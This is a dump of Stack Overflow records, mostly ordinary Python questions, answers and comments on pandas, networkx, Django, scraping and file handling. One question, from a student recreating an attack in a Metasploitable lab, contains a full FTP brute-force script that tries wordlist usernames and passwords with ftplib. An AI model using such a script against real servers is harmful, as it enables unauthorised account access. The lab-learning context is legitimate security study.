has answer: http://stackoverflow.com/a/49538832
has answer: http://stackoverflow.com/a/49538853
has body: I am making a login system for my project, and I have the usernames and passwords stored in a text file, with usernames in the first column and passwords in the second column, and then separating each login/password with a new line and using : as a barrier between the username/password. Upon entering the correct username and password, I always get incorrect login, however if I only compare the username to the file it functions properly. Even if I print the password and username straight from the file and then print it next to the username/password I entered, it is still the exact same yet still say incorrect login! def login(): file=open("user.txt","r") user=input("enter usename") password=input("enter password") Check=False for line in file: correct=line.split(":") if user==correct[0] and password==correct[1]: Check=True break if Check==True: print("succesffuly logged in") file.close() mainMenu() else: print("incorrect log in") file.close() login()
has title: Can't compare input variables to those from a file
favorite count: 0
type: Question

http://stackoverflow.com/comment/86196832
type: Comment
comment on: http://stackoverflow.com/a/49594516
type: AnswerComment
has text: Yes, I need to use last in the inner loop. I updated the pseudocode. Your bubblesort work great but the version from the pswudocode with the use of the extra variable is supposed to make the sort more efficiant.
score: 0

http://stackoverflow.com/q/49494093
has title: What is a good crawling speed rate?
favorite count: 0
type: Question
upvote count: 9
score: 5
has body: I'm crawling web pages to create a search engine and have been able to crawl close to 9300 pages in 1 hour using Scrapy. I'd like to know how much more can I improve and what value is considered as a 'good' crawling speed.
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/70224507
downvote count: 4
answer count: 3
has answer: http://stackoverflow.com/a/53771120
has answer: http://stackoverflow.com/a/49523000
tagged with: web-crawler
tagged with: scrapy

multiple-inheritance
tags question: http://stackoverflow.com/q/49599469
tag name: multiple-inheritance
type: Tag

http://stackoverflow.com/comment/85997825
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49496843
type: AnswerComment
has text: Yep! So just a spacing is required?

http://stackoverflow.com/q/49473373
tagged with: network-programming
type: UnansweredQuestion
score: 6
upvote count: 6
tagged with: python
tagged with: networkx
has comment: http://stackoverflow.com/comment/85949164
answer count: 0
downvote count: 0
has body: I am hoping to calculate weighted centrality measures. The larger the weight, the stronger the connection. G=nx.Graph() G.add_edge('a','b',weight=0.1) G.add_edge('b','c',weight=1.5) G.add_edge('a','c',weight=1.0) G.add_edge('c','d',weight=22) bet1=nx.betweenness_centrality(G, weight='weight', endpoints=False) bet2=nx.betweenness_centrality(G, weight=None, endpoints=False) print(bet1,bet2) clo1=nx.closeness_centrality(G, distance='weight') clo2=nx.closeness_centrality(G) print(clo1,clo2) Here are my problems: 1. There is no difference between weighted betweenness centrality and unweighted betweenness centrality. 2. The distance should be equal to 1/weight. I tried the following code but it doesn't work. I don't know how to fix this except create a new network where weight=1/weigth. clo1=nx.closeness_centrality(G, distance=1/'weight')
has comment: http://stackoverflow.com/comment/85949158
has comment: http://stackoverflow.com/comment/85949253
has comment: http://stackoverflow.com/comment/85949124
has title: python networkx weighted centrality measures
favorite count: 0
type: Question

http://stackoverflow.com/comment/86115285
score: 0
type: AnswerComment
has text: `MODE_NOBLOCK ` is [depreciated](http://php.net/manual/en/class.zmq.php#zmq.constants.mode-noblock) `MODE_DONTWAIT` should be used.
type: Comment
comment on: http://stackoverflow.com/a/49545489

http://stackoverflow.com/a/49565550
type: AcceptedAnswer
upvote count: 1
score: 1
has body: With a proper setting of the regularization of all parameters of the network and with a well representative data batch, you should have a small difference between your test accuracy and your training accuracy. But of course you need to optimize your model with parameter optimization and feature selection. Maybe you can check this link to find some more informations. Hope it helps !
answers question: http://stackoverflow.com/q/49565476
has comment: http://stackoverflow.com/comment/86150317
accepted answer of: http://stackoverflow.com/q/49565476
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/86146779

http://stackoverflow.com/comment/85882352
has text: Well that worked. Thank you. Can you tell me what that line of code means. I see what it does but not sure what the ":' does and I am assuming the find command defaults to 0 if only one arg is provided
comment on: http://stackoverflow.com/q/49440140
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86000907
score: 0
comment on: http://stackoverflow.com/q/49496398
type: Comment
has text: Did you make sure there are no imports or other "modern" css features? That might be why it's no compatible. It seemed to me from the documentation that there are specific css features weasyprint explicitly supports, and that's it.
type: QuestionComment

http://stackoverflow.com/comment/86009388
score: 2
comment on: http://stackoverflow.com/q/49502647
type: Comment
type: QuestionComment
has text: [The double underscore means it's a "private" name, which will be mangled so code in subclasses, etc. cannot accidentally access it; it makes no difference beyond that.](https://stackoverflow.com/questions/6444576/python-method-name-with-double-underscore-is-overridden)

http://stackoverflow.com/a/49555106
score: 3
has comment: http://stackoverflow.com/comment/86154384
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: use try-except to avoid NoneType exception: from bs4 import BeautifulSoup import urllib2 import requests url = 'https://www.justdial.com/Pune/Event-Organisers/nct-10194150' req = urllib2.Request(url, headers={'User-Agent' : "Magic Browser"}) page = urllib2.urlopen(req).read() soup = BeautifulSoup(page,'html.parser') for h in soup.findAll('h2'): a = h.find('a') try: if 'href' in a.attrs: l = a.get('href') except: pass print l OR: check if a is None: from bs4 import BeautifulSoup import urllib2 import requests url = 'https://www.justdial.com/Pune/Event-Organisers/nct-10194150' req = urllib2.Request(url, headers={'User-Agent' : "Magic Browser"}) page = urllib2.urlopen(req).read() soup = BeautifulSoup(page,'html.parser') for h in soup.findAll('h2'): a = h.find('a') if a is not None and 'href' in a.attrs: l = a.get('href') print l
answers question: http://stackoverflow.com/q/49554956
has comment: http://stackoverflow.com/comment/86152330
has comment: http://stackoverflow.com/comment/86157229
accepted answer of: http://stackoverflow.com/q/49554956
type: Answer

http://stackoverflow.com/a/49500438
type: Answer
answers question: http://stackoverflow.com/q/49500395
has body: pee_pee = random.choice(sting_array) wee_wee= random.choice(sting_array) sting_array.remove(wee_wee) sting_array.remove(pee_pee) here there's a chance that the same element is picked twice. So the second remove fails. Swapping the lines of code would work: pee_pee = random.choice(sting_array) sting_array.remove(pee_pee) wee_wee = random.choice(sting_array) # list cannot contain pee_pee anymore sting_array.remove(wee_wee) Or you could use random.sample instead: pee_pee,wee_wee = random.sample(sting_array,2) then list removal will work, since those are 2 distinct elements. And break out of your loop when len(sting_array) &lt; 2
score: 0
has comment: http://stackoverflow.com/comment/86005206
has comment: http://stackoverflow.com/comment/86005084

http://stackoverflow.com/a/49510774
type: Answer
accepted answer of: http://stackoverflow.com/q/49510534
downvote count: 0
answers question: http://stackoverflow.com/q/49510534
type: AcceptedAnswer
upvote count: 4
score: 4
has body: You can use: arr = np.array([a,b,c]) arr[np.argmax(np.abs(arr), axis=0), np.arange(arr.shape[1])]

http://stackoverflow.com/q/49579388
has comment: http://stackoverflow.com/comment/86166499
has answer: http://stackoverflow.com/a/49579480
favorite count: 0
type: Question
tagged with: python-3.x
upvote count: 0
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/86166591
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86166630
has title: In python3, how to make for loop get all files if input is dir or pick the file if input is a file
has comment: http://stackoverflow.com/comment/86166616
answer count: 1
has body: In python3, If input is a directory, then it gets all *.xml files from it, if input is a file then how to make for loop use it? &gt;&gt;&gt; dirs="foo" &gt;&gt;&gt; for file in glob.iglob(r'{0}/**/*.xml'.format(dirs),recursive=True): ... print(file) ... foo/b.xml foo/c.xml foo/a.xml &gt;&gt;&gt; dirs="foo/b.xml" &gt;&gt;&gt; for file in glob.iglob(r'{0}/**/*.xml'.format(dirs),recursive=True): #Here, how to make "file" to get foo/b.xml ?? ... print(file) ... &gt;&gt;&gt; I can do this with an if condition, but is there a way to do it inside for()?.
score: -1
accepted answer: http://stackoverflow.com/a/49579480

http://stackoverflow.com/comment/86182300
has text: You called `sum` one time, and stored the value that it returns in `S`. If you want a new sum, you have to call `sum` again. Python variables aren't like spreadsheet cells that automatically update themselves whenever anything else changes. (If you want that, you may want to look at, say, Prolog instead of Python.)
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49587299
type: Comment

http://stackoverflow.com/comment/86004101
comment on: http://stackoverflow.com/a/49498579
score: 1
type: Comment
has text: I've basically stopped to read after the first paragraph and accepted the answer :)
type: AnswerComment

http://stackoverflow.com/q/49450646
tagged with: oracle11g
type: Question
tagged with: pycharm
accepted answer: http://stackoverflow.com/a/49567696
tagged with: python
has answer: http://stackoverflow.com/a/49567696
type: AnsweredQuestion
score: 0
has title: Getting "cx_Oracle.DatabaseError: DPI-1050: Oracle Client library must be at version 11.2 or higher" error
has body: I am trying to use pycharm(3.3) to access my Oracle SQL(11.2.0) using the below codes but getting error with below details. Code used: import cx_Oracle connection = cx_Oracle.connect('uname/pwd@14@server') Error received cx_Oracle.DatabaseError: DPI-1050: Oracle Client library must be at version 11.2 or higher
answer count: 1

http://stackoverflow.com/comment/86053401
type: Comment
has text: You are both right! Adding the mulitplication solved the first problem I had with making the loop work at all, and now I'm trying to solve the problem to make the characters meet as abarnet also assumed and advised me on
score: 0
comment on: http://stackoverflow.com/a/49523384
type: AnswerComment

http://stackoverflow.com/a/49533222
has body: Try this: import pandas as pd import requests from io import BytesIO, StringIO from zipfile import ZipFile response = requests.get(url) zip_file = ZipFile(BytesIO(response.content)) files = zip_file.namelist() with zip_file.open(files[0]) as csvfile: print(pd.read_csv(csvfile, encoding='utf8', sep=","))
upvote count: 9
type: Answer
answers question: http://stackoverflow.com/q/49532879
accepted answer of: http://stackoverflow.com/q/49532879
type: AcceptedAnswer
downvote count: 0
score: 9

http://stackoverflow.com/comment/86192235
type: QuestionComment
has text: Just no window nor any button appears.@busybear
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49592304

http://stackoverflow.com/q/49556216
has comment: http://stackoverflow.com/comment/86120016
has answer: http://stackoverflow.com/a/49556338
has comment: http://stackoverflow.com/comment/86120236
has comment: http://stackoverflow.com/comment/86120025
score: 0
has body: At the moment i am using the following code to open a file from within my Python script, by the way i am starting a program (.exe file): os.startfile(filePath) time.sleep(20) But is there a way i can do this without using time.sleep(20) to wait for the file to open?
answer count: 1
has comment: http://stackoverflow.com/comment/86120184
has title: Python os.startfile() without time.sleep
type: Question
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86119962
tagged with: python
has comment: http://stackoverflow.com/comment/86120144

http://stackoverflow.com/comment/85920231
has text: I'm not doing JSON to python. I'm taking example python data (an enumerated list converted to a dict) and putting it into JSON format. If you need this in an actual text file, you should look at the python I/O documentation that can be found here: https://docs.python.org/3/tutorial/inputoutput.html It has great examples of writing to files.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49456381
type: Comment

http://stackoverflow.com/a/49567320
has body: If your substrings do not all have the same length, use str.extract, extract relevant portions from a and then use that to perform a groupby + sum operation on b: # assuming your frame is df1 df1.groupby(df1['a'].str.extract(r'^(\D+)', expand=False))['b'].sum().reset_index() a b 0 bar 7 1 foo 13 For more performance, pre-assign a first; df1['a'] = df1['a'].str.extract(r'^(\D+)', expand=False) df1.groupby('a', as_index=False)['b'].sum() a b 0 bar 7 1 foo 13 If all substrings are of the same size, just slice and groupby: df1.groupby(df1['a'].str[:3])['b'].sum().reset_index() a b 0 bar 7 1 foo 13
has comment: http://stackoverflow.com/comment/86144076
score: 4
has comment: http://stackoverflow.com/comment/86144013
upvote count: 4
answers question: http://stackoverflow.com/q/49567315
has comment: http://stackoverflow.com/comment/86143977
has comment: http://stackoverflow.com/comment/86144072
has comment: http://stackoverflow.com/comment/86143769
has comment: http://stackoverflow.com/comment/86144031
downvote count: 0
type: Answer

http://stackoverflow.com/comment/85944899
type: Comment
has text: From what i just ran, you lose all advantage. Cython comes back on top. I suspect there must be another way.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49470364

http://stackoverflow.com/comment/86107336
score: 0
type: Comment
has text: @Shew It's just brute forcing it. `indices` is a list of all possible (ordered) pairs. `probs` are the probabilities you prescribe. Note that there are a few degrees of freedom left here. For example, I think you could have made the (1, 4) and (2, 3) probs smaller and compensated for that by making the (1, 1), (2, 2), (3, 3), (4, 4) probs larger. Anyway, we then use the probs to draw indices (numpy refused to draw pairs directly) and use advanced indexing to get the corresponding pairs.
type: AnswerComment
comment on: http://stackoverflow.com/a/49549824

http://stackoverflow.com/comment/85970852
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49483867
has text: Awesome solutions
type: AnswerComment

http://stackoverflow.com/q/49519882
type: Question
answer count: 0
has title: Is it possible for sphinx autodoc to deal with dynamic attributes?
tagged with: python-sphinx
type: UnansweredQuestion
downvote count: 0
tagged with: autodoc
tagged with: python
tagged with: bravado
score: 3
has body: I'm using Bravado to generate an API client for an OpenAPI endpoint. I've extended the SwaggerClient to deal with some pagination issues. The client overrides __getattr__ and __dir__, so any instantiated client will provide attributes mapping to whatever the swagger specification contains. Is it possible to get sphinx to generate documentation for these dynamically added attributes?
upvote count: 3
favorite count: 0

http://stackoverflow.com/q/49476540
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has body: My model is the combination of keras and tensorflow like below: with tf.Session(config=config) as sess: with tf.device("/device:GPU:0"): raw_img_float = tf.placeholder(tf.float32, shape=(None,512,640,3)) #tf.divide(tf.cast(raw_img, tf.float32),tf.constant(255.0)) bbox_tensor = tf.stack([by1,bx1,by2,bx2],axis=1) cropped_img = tf.image.crop_and_resize(image=raw_img_float, # (n, 512, 640, 3) boxes=bbox_tensor,# (n,4) box_ind=list(range(BATCH)),#[0,1], # (n) crop_size=[int(NETWORK_INPUT_SIZE),int(NETWORK_INPUT_SIZE)]) crop_width = tf.cast(tf.subtract(bx2,bx1), tf.float32) new_crop_width = tf.reshape(crop_width, [-1, 1]) crop_height = tf.cast(tf.subtract(by2,by1), tf.float32) new_crop_height = tf.reshape(crop_height, [-1, 1]) x_coords = tf.placeholder(tf.float32, shape=(None,5)) y_coords = tf.placeholder(tf.float32, shape=(None,5)) with tf.device("/device:GPU:1"): inception = InceptionV3(weights='imagenet', include_top=False, input_shape=(299,299,3)) inception_transfer = inception(cropped_img) inception_transfer_flatten = Flatten(name='flatten')(inception_transfer) inception_do1 = Dropout(0.5)(inception_transfer_flatten) inception_regress_x = Dense(5, name='inception_regress_x')(inception_do1) inception_regress_y = Dense(5, name='inception_regress_y')(inception_do1) saver = tf.train.Saver(var_list=tf.trainable_variables()) ckpt = tf.train.get_checkpoint_state('checkpoint1') sess.run(tf.global_variables_initializer()) if ckpt and ckpt.model_checkpoint_path: saver.restore(sess, ckpt.model_checkpoint_path) print('RESTORED') .... if global_step.eval(session=sess) % 200 == 0: model_path = os.path.join(os.path.join(os.getcwd(),'checkpoint1'),'model.ckpt') saver.save(sess, model_path, global_step=global_step) I trained the model above and saw the cost going down properly. But when loading the weights and executing, it shows the result of the model not trained at all... How could I save the weights of the model defined as Keras API? Thanks advance...
answer count: 0
has title: Keras model seems not to load weights
has comment: http://stackoverflow.com/comment/86014585
downvote count: 0
score: 1
upvote count: 1
tagged with: keras
tagged with: tensorflow

http://stackoverflow.com/a/49598659
has comment: http://stackoverflow.com/comment/86204657
has comment: http://stackoverflow.com/comment/86204646
type: Answer
accepted answer of: http://stackoverflow.com/q/49598588
has comment: http://stackoverflow.com/comment/86204636
has comment: http://stackoverflow.com/comment/86204584
has comment: http://stackoverflow.com/comment/86204709
score: 2
has body: The problem is that you return directly after finding a key, while you should continue searching untill all results are found: def fetchColours(x): keys = [] for key, values in colour.items(): for value in values: if value in x.lower(): keys.append(key) if len(keys) != 0: return '|'.join(keys) else: return np.nan For this to work you have to change: colour = {'red': ('red', 'rose', 'ruby'), 'blue': ('azure', 'indigo', 'navy')} to colour = {'red': ('red', 'rose', 'ruby'), 'blue': ('azure', 'blue','indigo', 'navy')} Because otherwise it won't search for the term 'blue' in each sentence, meaning it cannot add this key to the list in the first example.
answers question: http://stackoverflow.com/q/49598588
upvote count: 2
has comment: http://stackoverflow.com/comment/86204729
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/85994796
type: QuestionComment
has text: See: [SQL join or R's merge() function in NumPy?](https://stackoverflow.com/questions/7776907/sql-join-or-rs-merge-function-in-numpy/7778713)
score: 1
type: Comment
comment on: http://stackoverflow.com/q/49495344

http://stackoverflow.com/a/49595616
has body: Yes, it is possible to find modulo (p) and sequence value (y) for given number x, but it requires using floating-arithmetics logarithm. pow = Floor(Log2(x+1)) p = 1 &lt;&lt; pow y = 1 + (x + 1) % p For initial period s (3 in your second example) pow = Floor(Log2((x + s - 1) / s)) p = s * (1 &lt;&lt; pow) y = 1 + (x + s - 1) % p check: x=9 pow = 1 p = 6 y = 6 x=10 pow = 2 p = 12 y = 1 x=21 pow = 2 p = 12 y = 12
has comment: http://stackoverflow.com/comment/86219231
type: Answer
answers question: http://stackoverflow.com/q/49595565
has comment: http://stackoverflow.com/comment/86198556
has comment: http://stackoverflow.com/comment/86216964
has comment: http://stackoverflow.com/comment/86212957
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86218987
has comment: http://stackoverflow.com/comment/86278829
has comment: http://stackoverflow.com/comment/86277825
score: 0
accepted answer of: http://stackoverflow.com/q/49595565

http://stackoverflow.com/comment/86047464
has text: Another thing: pay attention on **__VIEWSTATE**, **__EVENTVALIDATION**, Recommand you google these two keywords to find out what they are.
score: 1
type: Comment
comment on: http://stackoverflow.com/q/49520287
type: QuestionComment

http://stackoverflow.com/comment/85886738
has text: While true, this is just a less elegant phrasing of the accepted answer posted about an hour ago.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49442471
score: 1

http://stackoverflow.com/comment/86139660
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49565343
type: AnswerComment
has text: Excellent, it works perfectly. I understand this code is probably comparable to garbage, but I'm an absolute beginner. Cheers, can't thank you enough.

http://stackoverflow.com/q/49476903
score: 7
has answer: http://stackoverflow.com/a/70668083
has comment: http://stackoverflow.com/comment/86043084
type: Question
has comment: http://stackoverflow.com/comment/85956460
has comment: http://stackoverflow.com/comment/89362724
tagged with: pivot-table
type: UnansweredQuestion
tagged with: openpyxl
downvote count: 0
has body: Is there a way we can create pivot table in Excel using openpyxl library? I saw old threads mentioning its not possible, but I saw some documentation about creating one on below link: https://openpyxl.readthedocs.io/en/2.5/api/openpyxl.pivot.table.html Although I cant find any practical example of how to use the information provided in above link.
has title: Create Pivot Table using Openpyxl
tagged with: python
upvote count: 7
tagged with: excel
favorite count: 0
has comment: http://stackoverflow.com/comment/89326446
answer count: 1

http://stackoverflow.com/q/49456460
accepted answer: http://stackoverflow.com/a/49456529
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/49456529
answer count: 1
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/85915910
has body: I want to have a form which only offers the user to post a question for a project he is participating in. models.py: class Project(models.Model): project_name = models.CharField(max_length=255, unique=True, blank=False) def __str__(self): return str(self.project_name) class Profile(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) project = models.ManyToManyField(Project) def __str__(self): return str(self.user) class Question(models.Model): title = models.CharField(max_length=255, blank=False) content = tinymce_models.HTMLField(blank=False) author = models.ForeignKey(User, on_delete=models.CASCADE) project = models.ForeignKey(Project, on_delete=models.CASCADE) ... def __str__(self): return str(self.title) class QuestionForm(ModelForm): class Meta: model = Question fields = ['title', 'content', 'project'] in views.py: form = QuestionForm() form.fields["project"].queryset = Project.objects.filter(project_name__in=request.user.profile.project.all()) But somehow the result of the query always stays empty. Does somebody maybe have an idea what I am missing?
has title: Django ModelForm ForeignKey query
type: Question

http://stackoverflow.com/comment/86205136
type: QuestionComment
has text: The /Login endpoint generates an access token, but I don't know how I use this when I register. I uploaded a picture where you can see the code better (https://ibb.co/nxDf5S)
score: 0
comment on: http://stackoverflow.com/q/49597612
type: Comment

http://stackoverflow.com/q/49484145
type: Question
tagged with: python-3.x
has body: The most important lines of Code is: r = urlopen('https://api.vexdb.io/v1/get_rankings?team=35211C) text = r.read() pprint.pprint(json.loads(text)) I want to separate information in these data with some not important things, the whole data is here: {'result': [{'ap': 30, 'ccwm': -13.7007, 'division': 'Division 1', 'dpr': 45.5562, 'losses': 4, 'max_score': 113, 'opr': 31.8555, 'rank': 32, 'sku': 'RE-VRC-17-4576', 'sp': 384, 'team': '35211C', 'ties': 0, 'trsp': 40, 'wins': 3, 'wp': 6}, {'ap': 0, 'ccwm': 0.827824, 'division': 'Results', 'dpr': 18.2665, 'losses': 4, The line I need is 'ap' and 'losses' What is the code I should use for sepereate these two lines, The output I want is: 'ap' = 30 'losses' = 4 'ap' = 0 'losses' = 4 Thanks!
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/49484175
type: AnsweredQuestion
score: 0
has title: Python Separate Data from A lot of lines
accepted answer: http://stackoverflow.com/a/49484175
tagged with: http://stackoverflow.com/tag/json
tagged with: database
answer count: 1

http://stackoverflow.com/q/49472416
has comment: http://stackoverflow.com/comment/85948181
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85947533
has comment: http://stackoverflow.com/comment/85947613
has title: ERROR [Python] Login error with the ftplib module
tagged with: python
has comment: http://stackoverflow.com/comment/85947524
has comment: http://stackoverflow.com/comment/85948976
tagged with: valueerror
accepted answer: http://stackoverflow.com/a/49474404
type: Question
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49474404
tagged with: ftplib
has body: I study computer security and I am recreating a brute force attack on an ftp server with a virtual machine that has got metasploitable installed but I get an error. The strange thing is that I have seen other people use this same code and they work perfectly, but when I use this code in my cmd I get an error and I do not understand why. When I try to execute the script the cmd tells me that there is an error with the following lines: brute(ip, users_file, passwords_file) ans = conect.login(user, password) resp = self.sendcmd(´USER´, + user) self.putcmd(cmd) self.putline(line) raise ValueError('an illegal newline character should not be contained') ValueError an illegal newline character should not be contained The code that I am trying to execute is this: import ftplib import sys def brute(ip, users_file, passwords_file): try: ud = open(users_file, "r") pd = open(passwords_file, "r") users = ud.readlines() passwords = pd.readlines() for user in users: for password in passwords: try: print "[*]Trying to connect" conect = ftplib.FTP(ip) ans = conect.login(user, password) if ans == "230 Login successful.": print "[*]Successfull atack" print "User: ", user print "Password: ", password sys.exit() else: pass except ftplib.error_perm: print "Can't Brute Force with user: " + user + " and password: " + password conect.close except(KeyboardInterrupt): print "Interrupted. Later!" sys.exit() ip = raw_input("IP: ") users_file = "users.txt" passwords_file = "passwords.txt" brute(ip, users_file, passwords_file) Does anyone know why this happens?
linked to: http://stackoverflow.com/q/12330522
possible better answer: http://stackoverflow.com/a/49496719
has answer: http://stackoverflow.com/a/49496719

http://stackoverflow.com/comment/86064872
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49487647
type: QuestionComment
has text: Mmm, maybe you could show a minimal example where you get the error, to have a better idea of what you are trying to do?

http://stackoverflow.com/comment/85994783
type: QuestionComment
comment on: http://stackoverflow.com/q/49495404
has text: Check this question: https://stackoverflow.com/questions/28841600/reverse-on-list-route-with-custom-url-path
score: 0
type: Comment

http://stackoverflow.com/a/49536005
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49535982
has body: You can use unpacking in a list comprehension: b = (("ben","4994"),("dan","2993"),("Hans",100),("Frank",20.5)) new_b = [i for _, i in b] Output: ['4994', '2993', 100, 20.5]
type: Answer

http://stackoverflow.com/comment/86177645
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49582843
type: Comment
has text: Possible duplicate of [Interactively validating Entry widget content in tkinter](https://stackoverflow.com/questions/4140437/interactively-validating-entry-widget-content-in-tkinter)

http://stackoverflow.com/q/49510037
score: 0
has comment: http://stackoverflow.com/comment/86024577
tagged with: pandas
has title: How to fetch data from an excel sheet and get the output in set format?
has comment: http://stackoverflow.com/comment/86024490
answer count: 1
tagged with: excel
type: Question
has comment: http://stackoverflow.com/comment/86024421
has comment: http://stackoverflow.com/comment/86024633
has comment: http://stackoverflow.com/comment/86025282
has comment: http://stackoverflow.com/comment/86024538
has comment: http://stackoverflow.com/comment/86024235
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49511433
has comment: http://stackoverflow.com/comment/86024632
tagged with: python
has body: I'm making a movie recommendation system. I need a python code which converts the data imported from an excel sheet to a set format (as shown below). enter image description here Code to import data from the excel sheet: import pandas as pd from pandas import ExcelWriter from pandas import ExcelFile df = pd.read_excel('project.xlsx', sheetname='Sheet1') df.head(40) Output I get: USER MOVIE RATINGS 0 Julia Roberts Shrek 2.5 1 NaN V for Vendetta 3.5 2 NaN Pretty Woman 3.0 3 NaN Star Wars 3.5 4 NaN While You Were Sleeping 2.5 5 NaN Phone Booth 3.0 6 Drew Barrymore Shrek 3.0 7 NaN V for Vendetta 3.5 8 NaN Pretty Woman 1.5 9 NaN Star Wars 5.0 10 NaN Phone Booth 3.0 11 NaN While You Were Sleeping 3.5 12 Kate Winslet Shrek 2.5 13 NaN V for Vendetta 3.0 14 NaN Star Wars 3.5 15 NaN Phone Booth 4.0 16 Tom Hanks While You Were Sleeping 2.5 17 NaN V for Vendetta 3.5 18 NaN Pretty Woman 3.0 19 NaN Star Wars 4.0 20 NaN Phone Booth 4.5 .... ...... ...... ...... enter image description here From here I need to have an output like this: dataset={ 'Julia Roberts': { 'Shrek': 2.5, 'I am Legend':3.0, 'V for Vendetta': 3.5, 'Pretty Woman': 0, "My Sister's Keeper":5.0, 'Star Wars': 3.5, 'Me Before You': 3.0, 'While You Were Sleeping': 2.5, 'Phone Booth': 3.0}, 'Drew Barrymore': {'Shrek': 3.0, 'V for Vendetta': 3.5, 'Pretty Woman': 1.5, "My Sister's Keeper":4.0, 'Star Wars': 5.0, 'Phone Booth': 3.0, 'While You Were Sleeping': 3.5}, 'Tom Hanks': {'V for Vendetta': 3.5, 'Pretty Woman': 3.0, 'Phone Booth': 4.5, 'Star Wars': 4.0, 'While You Were Sleeping': 2.5, 'I am Legend':3.5}, 'Sandra Bullock': {'Shrek': 3.0, 'V for Vendetta': 4.0, 'Pretty Woman': 2.0, 'Star Wars': 3.0, 'I am Legend':4.5, "My Sister's Keeper":3.5, 'Phone Booth': 3.0, 'While You Were Sleeping': 2.0} } Code I am using (but showing error): max_nb_row = 0 for sheet in df.sheets(): max_nb_row = max(max_nb_row, sheet.nrows) for row in range(max_nb_row) : for sheet in df.sheets() : if row &lt; sheet.nrows : print (sheet.row(row)…

http://stackoverflow.com/q/49457464
has body: I'm a networking student who has little programming experience and I have simple project on my hands where I need to make a simple notification that notifies the user when an email arrives in gmail. I have been trying to get this to work for the last few weeks and I am honestly stuck and struggling. I'm using the code below and I think the problem is the authentication bit, where I can't connect to the server. All help is appreciated. import imaplib import re import time import subprocess ## enter your account details bellow! imapServer = "imap.gmail.com" port = "993" username = "example@gmail.com" password = "password" ##how often to check ? give interval in seconds! Checking too often might performance and stability. checkInterval = 120 Mailbox = imaplib.IMAP4_SSL(imapServer, port) rc,resp = Mailbox.login(username,password) if rc == 'OK': print("Connected to mail-server " + imapServer) rc, message = Mailbox.status('INBOX', "(UNSEEN)") unreadCount = int(re.search("UNSEEN (\d+)",str( message[0])).group(1)) oldValue = 0 file = open("%sytemdrive%\Windows\Temp\mailnotify.tmp", "w+") file.write(str(unreadCount)) file.close while(1): rc, message = Mailbox.status('INBOX', "(UNSEEN)") unreadCount = int(re.search("UNSEEN (\d+)",str( message[0])).group(1)) file = open("%sytemdrive%\Windows\Temp\mailnotify.tmp", "w+") oldValue = int(file.readline()) file.close() if (unreadCount&gt;oldValue): subprocess.call(["notify-send", "-u", "low", "low", "t", "5000", "New email!", "New email!", "You have " + str(unreadCount) + " unread " + "emails!" if unreadCount &gt; 1 else "email!", "--icon=email"]) if oldValue != unreadCount: file = open("%sytemdrive%\Windows\Temp\mailnotify.tmp", "w+") file.write(str(unreadCount)) file.close() time.sleep(checkInterval) else : print('Fail to connect') Mailbox.logout() file.remove()
downvote count: 0
has comment: http://stackoverflow.com/comment/85918897
favorite count: 0
has comment: http://stackoverflow.com/comment/85918781
type: Question
upvote count: 2
type: UnansweredQuestion
has title: Cannot connect to imap server on python
tagged with: imap
tagged with: python
score: 2
answer count: 0

http://stackoverflow.com/a/49598180
accepted answer of: http://stackoverflow.com/q/49549327
answers question: http://stackoverflow.com/q/49549327
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: Incorrect type. Expected URL string, received dict. -> you need to pass the parent's primary key: child_data = { ... 'parent': parent.pk, ... }
score: 1
type: Answer

http://stackoverflow.com/comment/86139978
comment on: http://stackoverflow.com/q/49565749
type: Comment
type: QuestionComment
has text: Done. The issue also happens when accessing the text response in python with `response.text`
score: 0

http://stackoverflow.com/q/49587401
answer count: 2
has body: I am calling python file from java def solve_......(Client_ID,data_folder): g = open('.........\\'+str(Client_ID)+'\\'+str(data_folder)+'\data_load.log', 'a+') f= open('...........\\'+str(Client_ID)+'\\'+str(data_folder)+'\conversion\csv\\bom.csv', 'rU') readfile = csv.reader(f) bom = [tuple(line) for line in readfile] Input_Data_df1 = pd.DataFrame(list(bom), columns = ['Material', 'BOM Component', 'Attach Rate', 'Yield', 'Alt. BOM', 'Alternative Item Grp', 'Alternative Priority', 'Usage Probability %', 'Validate From']) Input_Data_df1['Deletion Flag'] = '0' Filtered_Data = Input_Data_with_alt_bom_count.drop(Input_Data_with_alt_bom_count[(Input_Data_with_alt_bom_count["Material"] == i) &amp; (Input_Data_with_alt_bom_count["Alt. BOM"] != 1)].index) pd.options.mode.chained_assignment = None SP_BOM_Format = Filtered_Data SP_BOM_Format['Valid To'] = '31.12.9999' ## Added new column 'Valid To' as is not there in Halonix SAP format required_columns = ['Material', 'BOM Component', 'Attach Rate', 'Yield','Validate From', 'Valid To', 'Deletion Flag'] g.write('777' + "\n") print 11111111 SP_BOM_Format.to_csv(r'E:\BitBucket\WildFly11.0.0\standalone\dataload\loadedfiles\\'+str(Client_ID)+'\\'+str(data_folder)+'\csv\\bom1.csv',index=False,header = True, columns = required_columns) print 2222222222 py file is running succesfully when i run from 